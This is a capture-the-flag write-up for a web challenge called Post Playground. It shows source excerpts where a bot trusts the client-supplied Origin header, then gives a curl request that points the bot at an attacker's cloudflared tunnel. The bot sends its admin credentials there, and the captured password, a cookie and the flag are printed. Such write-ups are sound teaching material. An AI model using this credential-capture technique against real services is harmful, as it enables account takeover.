Post Playground
Introduction
Post Playground was a medium web challenge from the Midnight CTF 2025.
We had to find the flag through a bot that could send a request to a flag route on an API.
The challenge was whiteboxed, meaning we had access to the source code of the web application.
This is probably an unintended solution. The intended one will be described on the next blog post
Post Playground Revenge.

Enumeration
The flag is returned in the api.js file on a GET /flag route only accessible by the administrator.

From the sources, we can see a /bot route that’ll trigger the bot to run:

On that route, we can see something interesting:
if(UUID_RE.exec(req.body.uuid) && req.get('origin') !== undefined &&
(req.get('origin').startsWith("http://") || req.get('origin').startsWith("https://")) ) {
let bot_res = await bot.goto(req.body.uuid, req.get('origin'), ADM_USERNAME, ADM_PASSWORD);
if(bot_res) {
res.status(200).json({"status":200, "data": "Nothing seems wrong with this playground."});
} else {
res.status(500).json({"status":500, "error": "Something goes wrong..."});
}
}
Here, the origin header is not checked, and this string which is controlled by the client,
is directly sent to the bot without any verification more than “it should start with http or https”.
In the bot file, we also have something interesting:
// We receive the malicious base_url here
async function goto(uuid, base_url, user, pwd) {
[...]
try {
console.log("[BOT] - Logging into application");
// and without any verification, the bot is going to login
// there.
await page.goto(`${base_url}/login`);
await page.waitForSelector('#username');
await page.type("#username", user);
await page.type("#password", pwd);
await Promise.all([
page.click('#submit'),
page.waitForNavigation()
]);
} catch {
return false;
}
[...]
We can imagine an attacker replacing the origin URI and send a request to the server.
The bot will connect to it with it’s credentials, and we’ll get them back.
Exploitation
First of all, we need to have a way to get the credentials of the bot.
I added some logs in the source code of the application, launch it, and expose myself through a cloudflared tunnel.
- Add logs:

- Starting the app:

- Reverse proxy with cloudflare tunnel:

- Send the request and get credentials back:
curl 'http://chall2.midnightflag.fr:10502/api/bot' -X POST -H 'Accept: */*' \
-H 'Accept-Language: en,fr-FR;q=0.8,fr;q=0.5,en-US;q=0.3' -H 'Accept-Encoding: gzip, deflate' \
-H 'Referer: http://chall2.midnightflag.fr:10502/playground' \
-H 'Content-Type: application/x-www-form-urlencoded;charset=UTF-8' \
# Here is our custom origin
-H 'Origin: https://snow-slow-count-waiver.trycloudflare.com' \
-H 'Cookie: connect.sid=s%3AhT77M_EGDBsjgI-xD43CYJZNmgjQGWue.LX08uWeuO8mtxeIcx6B2VGbwe%2FK9Ii2PkzC0oaswchY' \
--data-raw 'uuid=4125e08a-5fee-4a37-b188-f439be5650d6'

Now, we can connect with the following credentials:
- username:
admin - password:
ec501cec-51ff-44c9-b164-7f1ac18f64bd

And finally, we need to call the flag route on the API:

Flag: MCTF{09fd5e94f935d82942ad5069aae09920}